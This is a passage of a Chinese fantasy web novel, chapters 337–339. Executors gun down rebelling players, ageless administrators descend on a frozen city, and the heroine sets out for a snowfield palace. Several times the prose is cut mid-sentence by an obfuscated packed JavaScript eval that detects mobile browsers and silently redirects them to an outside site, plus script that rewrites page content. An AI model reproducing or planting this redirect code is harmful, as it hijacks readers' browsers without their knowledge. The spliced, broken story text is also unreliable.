永冬之城内,所有连接城市与副本的紧急介入通道口全部激活,向外喷射出刺目的红光。五栋系统大厦的出口、城市各处执勤点、巡逻队涌出无数穿着黑色制服的执行官。以惊人的速度组队,朝着副本介入点狂奔。 黑色的潮水漫过街道,淹没了广场。仅仅几分钟,原本在永冬之城随处可见的执行官迅速消失。 整座被冰雪覆盖的城市在警报红光下陷入诡异的空旷与寂静,令人窒息。 礼堂里的圆桌地图上,代表着执行官的蓝色光点正在从永冬之城区域涌出,投向红色区域。蓝色洪流与红色区域碰撞,交融。 初与序静静地站在桌边,盯着地图上这场“迁徙”。直到永冬之城内部的蓝色光点变得稀疏,几乎彻底清空,她都没有动。 副本内,第一批全副武装的执行官突然神兵天降,从撕裂的空间通道中走出。他们手持武器,枪口冰冷,对准了那些疯狂破坏环境的玩家。 玩家们看着这些散发着杀气的黑色身影,脸上茫然的表情变得惊恐。 领队玩家心脏狂跳,压下喉咙里的尖叫,连忙出声:“别怕!都别慌!他们……他们不会杀我们的!” 为首的执行官是个身材高大的男人,举着枪冷冰冰道:“立刻停止所有破坏行为!解除武装!说出所谓‘芯片’的解除方法!” 他的枪口微微抬起,对准了一个试图将□□扔向一栋建筑的玩家:“否则,当场射杀!” 然而,那个玩家不受控制,手臂僵直地维持着动作,脸上却布满了恐惧,嘴唇哆嗦着。 有玩家惊疑不定地看向领队:“喂!你确定他们不会杀我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237715|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们?他们这架势……不像是来谈的啊……” 那领队额头上冷汗涔涔,内心也充满了不确定和恐惧。初与序的承诺在此刻如此苍白无力,但箭已离弦,没有回头路了。 他咬了咬牙,吼道:“确定!被抓到也没关系,他们不敢随便杀人!拖延时间!一定要拖住他们!” 这话像被部分玩家打了强心针,又有一个被控制的玩家猛地将手中的汽油泼洒在一栋建筑上,然后点燃了打火机,朝着那泼了汽油的区域扔去。 轰! 一团炽热的火焰猛地窜起,吞噬了建筑,发出噼啪的爆响! 就在火焰升腾的刹那,那个玩家后背猝然涌起一阵寒意—— 砰! 他的身体猛地往前一倾,额头正中央出现了一个正在袅袅冒青烟的小孔洞。鲜红的液体从洞里涌出,顺着鼻梁滴落在地。 他张了张嘴,想质问什么,紧接着腿可一软,直挺挺扑倒在地。 所有玩家,无论是失控的还是清醒的,动作都僵住了。他们瞪大双眼,直勾勾看着还在微微抽搐的尸体,甚至都没意识到之前那股控制着他们身体的力量消失了。 “啊啊啊啊啊——!!!” 一个小姑娘承受不住这血腥的冲击,猛地发出凄厉的尖叫。 恐慌瞬间传遍整个副本,席卷了每一个玩家的心神! “能动了!我能动了!” “跑啊!快跑!!!” 玩家们在发现自己重新夺回身体控制权后,没有任何犹豫,尖叫哭喊着在布满硝烟、大火和废墟里逃窜,只想离那些持枪的执行官越远越好。 为首的执行官发出一声冷笑:“呵……原来只是虚张声势。” 他缓缓移动枪口,对准一个玩家背影,食指搭在扳机上,缓缓吐出一个字: “杀。” 砰! 那个逃跑的玩家后背炸开一团血花,向前扑倒,抽搐了两下,不动了。 砰砰砰砰砰! 其他执行官纷纷扣动了扳机,一个又一个正在逃窜的身影惨叫着倒下,鲜血泼洒在空中,溅落在焦黑的断臂和同伴惊恐的脸上。 所有副本里领队的玩家全都僵在了原地,他们脸上毫无血色,双眼瞪得老大,似乎是不明白为什么他们会死。 有一个玩家猛地转过身,猩红着双眼,冲上前揪出了领队的衣领,压低声音,一字一句道: “怎、么、回、事?!啊?!你他妈告诉我怎么回事?!你不是说他们不会杀我们吗?!你看看!你看看啊!!!” 那个领队玩家被他揪得几乎窒息,他看着不远处,一个面无表情的执行官用手臂贯穿了另一个玩家的胸口,然后将软绵绵的尸体甩开。 恐惧和冲击让他的大脑一片混乱。电光火石间,一个名字,一个身影,一句承诺,猛地撞入他的大脑! 像抓住最后一根救命稻草,他猛地用尽全身力气尖叫大喊:“是初与序!是初与序啊!!!” “是她让我们这么做的!是她告诉我们,只要违规把执行官引开,就不会死!是她骗了我们!都是她的错!!你们要怪就去怪她!!是她害死了大家!!!” 他喊得声嘶力竭,仿佛这样就能洗脱自己的责任,让那些枪口转向别处。 然后,回应他的是一只突然出现在他身前,戴着手套的手。 那只手精准地扼住了他的脖颈。 他甚至没看清那个执行官是怎么瞬移过来的,只听“咔”一声,他所有的呐喊都止步于咽喉。眼睛难以置信地瞪大,瞳孔涣散,随即软绵绵倒下去,加入了地上那些冰冷的尸体行列。 337.传讯管理员 另一个副本,蒋川所在之处。 她藏身在一处半坍塌的管道后面,透过缝隙目睹着远处的景象。 子弹穿过玩家们的皮肉,他们濒死地哀嚎,绝望地哭喊,硝烟和血腥气混杂着直冲鼻腔,让她大脑里每一根神经都绷紧着。 浑身的血液仿佛冻僵,又在下一秒疯狂倒流,冲得她头晕目眩,耳膜嗡嗡作响。 远处,有玩家临死前发出充满怨恨的嘶吼,穿过混乱的废墟,隐约传来: “初与序——!!!你他妈骗我们——!!!” “我做鬼也不会放过你——” “叛徒!她和她的队伍,都是妄主的走狗!!!” 蒋川发着抖一点一点地抬起头,望向副本上空那片灰蒙蒙,仿佛永远也不会放晴的天空。 原来死亡就是家吗? 原来我们真的会死啊,初与序。 蒋川完全说不出话来,喉咙被死死扼住,双膝止不住发软,手垂在身侧微微颤抖。 她的瞳孔深处倒映着对面执行官抬起手,朝着自己对准的枪口。 礼堂里,地图上代表着玩家的绿色光点一片接一片黯淡,熄灭。红色区域里密密麻麻的绿色此刻只剩下一半多人,而且还在以肉眼可见的速度减少。 初与序站在原地,身影在昏暗的光线里十分单薄。她面无表情地垂着眼眸,看着那些绿色光点。 D栋一部分不知情住户在看到这一幕时首先是震惊,如同冰水浇头,让他们愣在原地。但仅仅几秒后就调整好状态,相信初与序这么做一定有她的道理,但还是惊疑不定地偷偷打量着她。 他们试图从初与序脸上找到动摇,不舍,哪怕是凝重。 但都没有。既看不出难过,也看不出不屑,甚至对于眼前这场由她亲手推动的大屠杀没有丝毫感觉。 “我要走了。”她忽然抬起头,“时间到了,永冬之城交给你们了。” 桌边玩家们互相交换着眼神,或许有人想提醒她此去危险,注意安全,或许想质问,想确定。但看着她那张淡漠的脸,最终没有出声。 他们看着初与序从面板里取出了那张贴着磁片的通行卡,放在了圆桌上。 “那个,初与序。”一道女声犹豫地响起,初与序循声看去,是住在D栋三楼的一位女玩家。 “你这次……确定没有骗我们,对吗?”女玩家小心翼翼道,“你真的会去杀掉妄主吗?你真的……会结束这一切吗?” 初与序没有立刻回答,沉吟了几秒。 但这几秒钟的沉默并不像之前在礼堂面对众玩家时,快速组织谎言的思考,反而像是对自己能力,对最终结果的估量,仿佛在问自己:我能做到吗?我能兑现这个承诺吗? 然后,她点了点头。 “我能保证我没有骗在场任何一位玩家。”初与序沉声道,“也许你们会死,也许我会死,也许所有人都会死。但所有人都可以在天亮时睁开眼,见到现实的阳光。” 冬逢初就站在初与序身边,从始至终他没有去看地图上熄灭的光点,也没有去看周围玩机爱复杂的眼神,只将目光落在初与序身上。 他微微低下头,对上了初与序的眼睛:“我等你,就在这里。” 初与序不明显地深深吸了一口气,伸出右手,食指与中指并拢,轻轻点在了通行卡上方磁片的位置。 微弱的蓝光从她指尖亮起,迅速扩散,形成一个将初与序整个人包裹进去的光团。 桌边众人只觉得眼前蓝光一闪,再抬头去看时,初与序原本站立的位置已经空无一人,只有空气中似乎还残留着一丝淡淡的苦香。 处理区控制室内,D19慢悠悠地靠在椅上,手里捧着热茶,看向屏幕上血腥混乱的画面。 不同副本的画面出奇的一致,枪响、爆炸、惨叫混合在一起传出。而这些被投入副本的玩家也不是任人宰割的羔羊。最初的恐慌过后,残存的玩家渐渐开始反击。他们设置陷阱,埋伏落单的执行官,开始尝试缴获武器。 屏幕上偶尔能看到一两个蓝色光点在围攻下黯淡下去。可执行官本质是半机器人,没有痛感,还有热武器,所以整齐局势依然牢牢掌控在执行官一方。 “长官!” 控制室的门被推开,一名下属执行官匆匆跑进来。 “几乎所有拥有执法权的执行官都进入副本了,永冬之城内部玩家开始骚动了!有一队人正在总部附近转悠,看样子是D栋的!他们肯定想搞事情!” 上次江意事件,系统总部被侵入,总机被毁,相关责任区的执行官被大规模问责,降职,这一阴影还没完全散去。现在一看到有玩家靠近总部,这些执行官就条件反射地紧张。 D19闻言,不紧不慢地放下手中的茶杯:“那就传讯给上面的管理员,让他们下来处理。” “管理员?!”下属睁大眼睛,明显不想见到自己的上司,“您……您没开玩笑吧?请管理员下来?” 在他的认知里,管理员是高高在上,很少直接干涉永冬之城事务的“上级的上级”。因为玩家骚动就去请管理员,这听起来像是用核弹打蚊子。 D19摊开双手,做了个“不然呢”的手势:“不然你想怎么办?你看看,景明垂,冬逢初,向枝冥……那几个最难搞的刺头可都好端端留在永冬之城呢。靠近总部的那几人跟他们熟得很,平时没少约着一块儿打游戏。现在城里还有执法权的执行官不到十五个。这点人手——” 他朝着屏幕上几个正在总部鬼鬼祟祟移动的D栋住户,扬了扬下巴:“你去管他们?” 下属被问住了,飞快在心里盘算了一下己方可动用的力量,脸色更加难看。 确实,光靠剩下的这点人手,去镇压D栋激进派玩家?几乎不可能,一个旋风踢就能把他们执行官踢飞。 如果不传讯给管理员,玩家闹出事端,他们这些留守的执行官就是严重失职。如果传讯了,管理员下来,成功管束玩家,他们就是“及时上报、处理得当、工作认真”。即使管理员下来也没管住,能就是他们的责任了,和执行官不相干,压力会小很多。 下属没再多说废话,朝着D19鞠躬:“是!长官!我立刻去发送传讯,请求管理员介入维持永冬之城秩序!” 说完他转身,飞一般冲出控制室。 庄园内管理员的作息保留了在永冬之城时的那样,日夜颠倒只是常态。此刻,大部分管理员刚结束工作,或者游戏,正爬上床,打算来一场酣畅淋漓的睡眠。 “巴巴博一巴巴博一巴巴博一巴巴博一——!!” “啦啦啦啦啦 啦啦啦啦啦啦 啦啦 寂寞的人听着伤心的歌——!!” 能让人听完心脏安静下来、穿透力极强、音量开到最大的警报铃声音猛地在庄园响起!所有还在睡梦中,或者刚进入浅睡眠的管理员猛地睁大眼! “我操——!!!!” 几声崩溃的怒吼从各个房间传出。 紧接着又是“砰”的一声闷响,像是有人从床上弹射起来撞到了天花板(或许并没有)。 【随歌】顶着鸡窝头,穿着毛茸茸的恐龙睡衣,冲出自己房间,猛地推开门查看情况。 只见整条走廊上,其他房间的门被接连被猛地推开,管理员们纷纷疑惑地探出头,个个睡眼惺忪,穿着五花八门的睡衣,所有人都是一脸“我是谁我在哪这他妈什么声音”的懵逼表情,被那还在持续不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【白闽】毫不客气,上前掀开被子拽着初一就走:“走了走了!别睡了!永冬之城要炸了!玩家快把城拆了!” 初一被拽得坐起身,满不在乎道:“他们叫管理员下去,我又不是管理员,关我啥事……” 这时,【向枝冥】正好一边手忙脚乱套制服外套,一边从房门口路过。听到她这话,立刻探头进来喊道:“我们去工作,你搁这儿睡觉?想得美!白姐,把她拉起来!必须一起去!” 【白闽】二话不说直接上手,二十四岁的她轻而易举地把十四岁,身形瘦弱的初一提溜起来,顺手抄起不知道哪个管理员丢在这里,一件尺码明显大很多的制服外套,往她病号服外面一披,半拖半拽地把人往外拉。 初一:“?!” 她被这粗暴的起床方式弄得清醒了,只好妥协:“我自己走!我自己走行了吧!……还有,能不能先把你们这破警报关了?!谁弄的这要命的音效?!耳朵要聋了!早知道我睡妄主那边好了!” “这警报一看不就是随歌弄得?”【白闽】从后面推着她往楼下走。 初一低头扯了扯身上的制服外套,嫌弃地皱眉:“非给我套这个干嘛?你们管理员这制服跟日本校服似的,我——” “别脱别脱。”【白闽】拽着她外套领子,“你不冷,我看着冷,大冬天的。就这样,赶紧的!” 尽管起床过程鸡飞狗跳,管理员吵归吵,但仅仅三分钟,所有人都已经穿戴整齐,面色严肃,脊背笔挺地在大厅内集合站定。 【江意】站在前方,推了推眼镜:“走。” 338.围城 永冬之城原本只是纷纷扬扬落下的风雪,突然开始狂暴。 雪花猛地逆转了风雪,从地面狠狠升起,化作千万道白色的逆向激流,从下方直冲灰暗的天空! 它们在城市上空盘旋,呼啸,发出呜咽,然后朝着上方一点,缓慢地汇聚。 天色以肉眼可见的速度沉下来,灰色乌云沉甸甸地压下来,压得人喘不过气,压得积雪都白了。穹顶低垂,仿佛只要踮起脚伸出手,就能触摸到压抑的天幕。 紧接着,在那片被逆转风雪的中心点,一个椭圆形的漩涡缓缓出现。漩涡深邃,闪烁着不稳定的银蓝色电光。如同对面是另一个高纬度的时空,内部隐约可见狂暴流窜的精神力能量场,散发着高高在上的威严。 如同万钧雷霆在极其遥远的天际传来,低沉持续的轰鸣声,从漩涡内部滚滚发出,沉甸甸地压迫着下方的人群。 所有在家的玩家都被这从未见过,如同世界末日般的天地异象惊动,纷纷推开窗探出头。D栋礼堂内的激进派成员也冲到了外面的雪地里,仰头望着天空中越来越清晰的漩涡。 五栋系统大厦,寥寥无几的执行官,包括D19也都停下来手里的工作,将目光投向天空。 “什么鬼?”一个站在雪地里不知情的玩家仰着头,喃喃自语,“这是什——” 嗡——!!! 他话音未落,一声沉闷的嗡鸣从漩涡正中心爆发,直接敲击到心脏上! 银蓝色的电流变得炽热,在漩涡边缘窜动!紧接着,一束光柱从漩涡中心笔直地射出,在前方悬浮,形成一个刺目光团。 下一秒,那光团朝着四面八方猛地炸开! 刹那间,银蓝色的强光充斥了每一个角落,无论是玩家还是执行官,都本能地抬起头遮住双眼,被这蕴含着强大精神波动的光芒灼伤。 等他们试探地放下手臂,强忍着眼睛的刺痛重新睁开眼,颤抖着望向天空时,看见光团内露出的人影。 他悬浮在最高处,穿着浅蓝色管理员标准制服,身姿挺拔,戴着斯文的黑框眼镜,正面无表情垂着眼睫,俯瞰这下方渺小的冰雪城市。 那张脸…… 所有看清他面容的玩家,在最初的几秒大脑都是一片空白。 紧接着,无与伦比的震惊和荒谬冲上头顶。 “江……江意?!!!” “什么?江队?不、不可能!他不是死了吗?!” “闹、闹鬼了?!还是我们产生集体幻觉了?!” 聚在一起的激进派玩家们受到的冲击力更加剧烈,他们中有不少人曾和江意并肩作战过,对他的气质再熟悉不过。可无论他们怎么去感受,都发现眼前的人和记忆里的江意一模一样! 很快,有反应快的D栋玩家意识到了什么,脸色唰一下白了。他压低声音,对周围的玩家说道:“管理员……他们,他们难道是第零批玩家?!” “什么第零批?”身边人还没回过神,茫然反问。 向枝冥死死咬着牙,一股寒意直冲天灵盖。 “我明白了……我他妈明白了!”他嘶声道,“他们这些所谓的管理员!根本就是最早进入永冬之城的那一批玩家!妄主让他们坐上了管理员的位置,而我们所有人,都只是他们的分裂体!复制品!或者别的什么玩意儿!” 他猛地伸手指向悬浮高空的【江意】:“已经‘死’了的江意就是他本人!他是长生者,所以是把魂魄分成了两半!一半留在永冬之城当玩家,经历循环,另一半当他的管理员!” 天空中的【江意】似乎听到了这番言论,微微侧过头看向他,扯了一下嘴角,冷笑一声。 紧接着,玩家们看到那银蓝色的漩涡中,不断有新的身影飘出来。他们穿着统一的管理员制服,悬浮在永冬之城上空,以【江意】为首,形成松散却带有压迫感的孤行阵列,近五十人。 现在真相大白,他们没有再遮掩面容的必要,一张张脸暴露在下方无数惊骇的目光中。 一眼扫过去,竟有一大半都是下方D栋激进派成员的面容,只是更加成熟。而只要简单一数,有能发现——这群管理员中,并没有初与序、景明垂、冬逢初和陈秋天。 所有玩家,尤其是D栋激进派,在这一刻都感觉自己的世界观彻底粉碎,然后被强行塞入一个残酷荒谬的真相。 “他们……他们……” “我们……那我们算什么?替代品?我们是假的,他们才是真的?!” 他们哆嗦着唇,有人彻底失语,大脑一片空白;有人反应过来了,却不知道该作何表情,有何动作,只能僵立在原地。 向枝冥愣愣地看着上方的【自己】,以及站在【自己】身边的【安楚】,然后猛地转过头,看向冬逢初和景明垂,咬牙切齿道:“你们俩和初与序早就他妈的猜到了吧?啊?为什么你们不在这里面?” 冬逢初和景明垂避开他的视线,不知道该怎么回答。 忽然,漩涡中光芒再次一闪。 一个看起来单薄,披着一件宽大制服外套的身影,也慢吞吞,带着点不情愿地飘了出来,停在管理员阵列边缘。她似乎对这场面没什么兴趣,抱着胳膊皱着眉,凌乱的黑发被高空气流吹得更乱。 她的出现让下方原本就濒临崩溃的玩家情绪达到了爆炸的临界点。 “初、初与序?!!” 玩家们头皮一炸,有人失声尖叫道:“你他妈怎么在这?你是管理员?!” D栋那些刚刚才亲眼目睹初与序离开的玩家们此刻更是面面相觑,脸上写满了巨大的问号。 “什么初与序?”那个飘在空中的“初与序”听到这话,不悦道,“你看我像十八岁的样子吗?眼睛不好就去治,别把我认成她!” D栋的玩家一愣,随即紧绷的心松下来。这语气和初与序平日的性格天差地别,虽然脸一样,但确实不算同一个人,甚至这个人似乎还很讨厌别人把她认成初与序。 随着所有管理员到齐,天空中银蓝色的漩涡开始缓缓收缩,电光减弱,消失。但笼罩全城的威亚并未随之消散,反而因为这群悬浮于高空的管理员,变得更加凝重,压在每一个玩家心头。 狂暴的风雪安静下来,开始重新飘洒。 但雪花在落在这些管理员周身时,竟然自动消融蒸发,仿佛连自然界的雪花都不敢沾染他们的衣角。 “分一部分人,去处理其他区域的违规者。”【江意】吩咐道。 “是!” 一半的管理员身影忽然变得模糊,瞬间从原地消失,显然是瞬移到了城市其他报告有骚乱的区域。 剩余的管理员,包括【江意】和一脸“关我屁事”的初一,开始从数百米的高空朝着地面缓缓下落,但就在他们快触碰到雪地时,动作一停,悬浮在距离地面几厘米的位置,便不再落下。 有胆子稍大的玩家看着悬浮在面前的管理员,颤声问道:“你……你们想干什么?” 【随歌】闻言,没好气地翻了个白眼:“你问我们?难道不应该是我们问你们到底想干什么吗?” 他指了指自己身上的制服,又指了指这片雪原:“大早上的我刚睡着做梦呢,就被你们这群家伙搞出来的破事吵醒,警报响得跟杀猪似的!我连口水都没来得及喝就被拖下来维持秩序,你说我们想干什么?” 玩家们面面相觑,仔细一想,好像确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237717|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实是他们惹事,把这群管理员引下来了。 一位D栋的住户忽然出声问道:“你们所有管理员都下来了?” “是的。”【安楚】给出了肯定的答复。 激进派玩家们互相对视一眼。虽然眼前这“管理员即第零批玩家”的真相惊世骇俗,但情况确实在初与序的计划范围内,所有管理员都被引下来了。 那么,妄主那边应该已经空了。 他们现在要做的就是拖延时间,绝不能让他们返回雪原之上的宫殿,去干扰初与序。 一位反应快的玩家接过话头:“我们当然是要——策反!推翻这个不人道的城市!我们受够了永冬之城的压迫,我们要自由,要回家!我们所有玩家都团结起来了!我们在心脏里装了芯片……” 她开始滔滔不绝,胡乱瞎编。 果然,没听几句,【向枝冥】就不耐烦地抬手打断了她。 “停一下!”他皱着眉道,“所以我们该这么做,才能让你说的那个什么,会爆炸的芯片,停下来?” 那玩家转了转眼睛,又开始新一轮瞎扯:“让芯片爆炸停下来的遥控器就砸……就在《雪寺庙》副本!对!你们可以去通关副本,雪地下面有个密道,尽头是个实验室,实验室里有个柜子,打开后里面有个铅笔盒,盒子上的锁需要……” 她越说越离谱,刚说到“纸条上写着下一个地点坐标”时,所有管理员看她的眼神都从懵逼变成了不耐烦。 他们活了数千年,什么没见过?用手猜都能猜出来她在拖延时间。 【江意】微微阖了下眼,抬手按了按自己眉心,重新睁开后直接问道:“还有多久爆炸?” “啊?”那位玩家一愣,下意识随口编了个数字:“一小时……?” “够了。”【江意】平静道。 他不知为何,微微抬起头看向天空,目光似乎穿透了灰蒙蒙的乌云,望向了更高处属于雪原和宫殿的时空维度。 那一眼极其短暂,却意味深长。 然后他重新看向面前的玩家,冷冷道:“在爆炸之前杀了你们,取出心脏的芯片,就不会爆炸。” 说完,他抬起右手,五指张开,对着虚空轻轻一握。 咔嚓、咔嚓、咔嚓——!! 只见数百米外,地上厚厚的积雪和建筑物表面的冰霜都同时凝固、聚集、拉长,眨眼间就化作成千上万根尖锐无比的冰锥! 这些冰锥齐刷刷调转方向,直直指向场中每一位玩家的咽喉! 与此同时,其他管理员纷纷一闪,在空气中留下几道淡淡的残影。 等玩家们再仔细去看,发现原本是玩家包围着管理员的局面,逆转成管理员包围玩家。他们占据了所有外围方位和制高点,形成包围圈,玩家们被如瓮中之鳖,被牢牢困在中心。 “操!愣着干什么?!这还打个屁啊!快跑啊!”有玩家嚎了一声,转身就跑。 他刚跑出两步,一个管理员已经闪现至他面前,手掌按在他胸膛上,轻轻一用力—— 嘭!! 那玩家整个人倒飞出去!人在空中就喷出一口殷红的鲜血,重重砸在数十米外的雪地上。积雪被砸出一个人形巨坑,他躺在坑里,挣扎了好几下才勉强撑起上半身,脸上毫无血色。 一切发生得太快,从【江意】说出“杀了他们”,到管理员完成包围,再到这个玩家被轻易击飞出去,总共不过半分钟。 所有还站在原地的玩家此刻都无比深刻地体会到了——什么是管理员级别的实力差距。 这完全是生命层次的碾压! 所有玩家同时倒吸一口凉气,啥也不管了,齐齐转身撒腿就跑。 339.见妄主 永冬之城边缘,那间位于虚无雪原上的阁楼。 木门被一双修长苍白的手缓缓推开。 呼——!!! 狂暴的风雪在门被推开的下一秒便灌了进来,劈头盖脸地扑了推门人满面,仿佛要将她淹在风雪之下。 初与序眯起眼,下意识抬手遮在眼前,阻挡那一片无边无际刺目的白。 这片雪原似乎比她上次来时更加寒冷死寂。等眼睛逐渐适应了这片强烈的白光,她才放下手臂,跨出门槛,走入这片雪原。 脸颊、鼻尖,和双手紧紧暴露在外面几分钟,就被寒风吹得通红。初与序将手尽可能缩进袖子里,从面板里取出那张贴着磁片的通行卡,卡片平举,磁片朝外,对准不同方向移动。 东、南、西…… 当卡片转动到正对北方时,卡片上的磁片爆发出明亮的蓝光!疯狂地闪烁明灭,像是在催促着她往北方走。 初与序垂眸看着手中这张情绪激动的卡片,几秒后将卡片收回面板,朝着北方走去。 风雪立刻包裹了她单薄瘦削的身影,吹动着她黑色的大衣下摆和长发。 手机早早冻得关机,在这片雪原里,没有日升月落,没有参照物,初与序根本分不清时间。 寒冷从衣服缝隙里钻入,渗进皮肤,侵入骨髓。每一次呼出的白气都在转瞬间变成白雾,随即被狂风撕碎。脸颊早已冻得麻木,失去知觉,初与序开始后悔为什么不提前多穿点衣服。 在雪地里行走,每一步都需要将整条腿从雪层中拔出,再踏入另一片未知的雪层——谁知道雪层下会有什么东西,但幸运的是走到现在,她都没感受到任何奇异的物体。体力很快随着这艰难的动作流失。 狂风时而会将地面大片的积雪掀上半空,变成雪浪,朝着初与序砸来。每到这时她都不得不停下脚步,微微侧身抬起手护住头脸,等待暴雪过去。 C13不是说“很久就能看到宫殿”吗?如果有机会再见到他,指定要抓着他问问是不是理解错“很快”的意思了。 不知走了多久,或许短短十几分钟,又或许几个小时。就在初与序的意识因为低温和缺氧开始有些飘忽时,前方那片苍白中忽然有了不同。 初与序向前看去,视线的尽头,纯白背景上出现了一片巨大的阴影。沉默地矗立在那里,仿佛是直接从冰雪大地中生成出来的山峦。 随着距离拉近,那片阴影在漫天飞雪中变得越来越清晰。 那不是山,那是一座……宫殿。 通体颜色介于银蓝与雪白之间,在灰蒙蒙的天光下泛着幽冷的光芒,静静坐落在雪原中央,如同整个白色世界的心脏,庞大,孤绝,傲慢。 风雪在接近宫殿外围中减弱了一点点,初与序终于踏出最后一步,鞋底踩上了一层覆盖着暴雪的冰面,周身咆哮的风雪变得遥远模糊,她停下了脚步,站在宫殿投下的阴影边缘,迟迟没踏入。 冰冷的空气灌入肺部,她缓缓地抬起了头。 宫殿的尖顶高耸,廊柱巨大,柱身与台阶边缘雕刻着勿忘我花的花纹。宫殿的所有窗户都垂落着窗帘,看不见内部。 这就是妄主的居所。 永冬之城一切荒诞循环与无尽痛苦的源头。 也是她跨越无数轮回、背负无数亡魂、最终走到这里的——终点。 初与序迈开脚步,沿着宫殿侧面走上,停在了一扇双开门前。 这扇门上没有锁孔,没有门环,没有任何能让人打开它的地方。初与序在门前站定,静立几秒,忽然抬起了右手。 纤长的手指伸出,掌心向前,不顾门表面的冰冷,稳稳贴了上去。 她感觉到这扇门似乎轻轻震动了一下,紧接着,门板上那些原本隐形的纹路像是活了过来,从她掌心按压的位置开始,逐一亮起幽蓝色的微光,沿着纹路流淌,眨眼间便覆盖了整个门面。 几秒后,光芒达到最盛,然后向内收敛。 那扇严丝合缝的门缓缓打开了一道缝隙。 门后是一条长长的走廊,两侧烛台安静地燃烧着。蜡烛是白色的,火焰却是幽蓝色的。走廊延伸向前,尽头沉入一片黑暗,看不清那里有什么。或许是另一扇门,一个拐角。 暖气混合着淡淡的冷冽花香,扑面而来。 初与序站在敞开的门缝外,那双不同颜色的眼眸在烛火的映照下深不见底,原本无光失明的右眼此刻像是有了生机,里面倒映着火光。 她抬腿跨过门槛,身影没入门内昏暗的走廊之中。 永冬之城的雪地已经成了战场,惨叫声和咒骂声连成一片,听得人头皮发麻。 不远处,某个玩家被【向枝冥】揪住衣领,狠狠掼进雪地。积雪被砸出一个深坑,激起的雪雾高高扬起,又纷纷扬扬落下,将那人掩埋。 雪堆下传来挣扎和呛咳声,几秒后,一只手猛地从雪下深处,胡乱扒拉。紧接着那人探出了脑袋,大口喘着气,脸上全是雪粒和伤痕。 周边玩家瞥见他,发现他还是向枝冥。 “咳咳……我操你大爷!”向枝冥吐掉嘴里的雪,反手从面板里抽出一张符纸,下意识就要咬破指尖画符,却意识到不对。 手里的符纸冰冷死寂,没有往日里与天地灵气共鸣的能量感,就是一张普通的黄纸。 “我们的武器和技能全被执行官在总部锁死了!”远处,回北正在与一名管理员搏斗,朝着这边大喊提醒,“只能跟他们肉搏!” 向枝冥脸色瞬间铁青,无声地骂了一句。 周围已经乱成一锅粥,随便一扫就能看见:一个玩家被管理员按在地上暴揍,或者一个管理员被多个玩家围攻。雪地上到处都是颤抖的身影。 大雪飘落,试图掩盖这场厮杀。向枝冥撑着剧痛的身体,摇摇晃晃刚站直—— 一只拳头穿透雪幕,结结实实地凿在了他的下颌上! 向枝冥刚站起来,再次踉跄后退。还没等他稳住身形,【向枝冥】便又贴了上来,手狠狠砸向他的腹部! “呃!”向枝冥喷出一口血沫带着内脏碎片,捂着肋骨重重跪倒在雪地里。 “我……操……”他低着头,嘶哑地挤出一句话,“你他妈……非要对另一个自己……下死手吗?!” “自己?”【向枝冥】的身影笼罩下来,微微俯身,轻蔑道,“你也太废物了吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243402|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他顿了顿,伸手一把抓住向枝冥的头发,让他抬起头看向另一个方向:“听说你们这次循环,安楚……也死了?他本人现在就在这边呢。” 向枝冥身体一僵,又听见头顶人慢条斯理道:“你怎么看?” 透过弥漫的雪幕和混乱的人影,向枝冥望向战场的另一侧。 ——【安楚】正穿梭在人群中,他的身形不高大,但动作行云流水。长发在风雪中扬起,已经沾上雪粒。他正与一个彪形大汉玩家交手,让大汉连连后退,毫无还手之力,顺便还给了路过的u谷一拳。 是他记忆中那个会笑里藏刀,阴阳怪气的安楚。 “我怎么看?”向枝冥咬牙切齿道,“我站着看,我躺着看,我蹲着看,我跳着看,我睁着眼看,我闭着眼看,我还能怎么看?” 他忽然猛地挥开【向枝冥】的手,一拳直直砸向【向枝冥】,将他扑进旁边的雪堆里! 初与序已经走了很久,之前视野尽头那片黑暗并不是终点,而是走廊的中段,往前走还有很长一段路。 两侧墙壁上悬挂着中世纪油画,画面多是宗教题材或荒原雪景,在幽蓝烛光摇曳不定的光晕下,人物面容模糊,却仿佛穿透画布注视着唯一的行者。 穿过走廊中段,越往前走,前方的光线越清晰,逐渐能看清周围。 那光线不像是室内灯光,而是户外清冷的,属于雪原的苍白天光。 直到她真正走到走廊尽头时,她发现真的是户外。 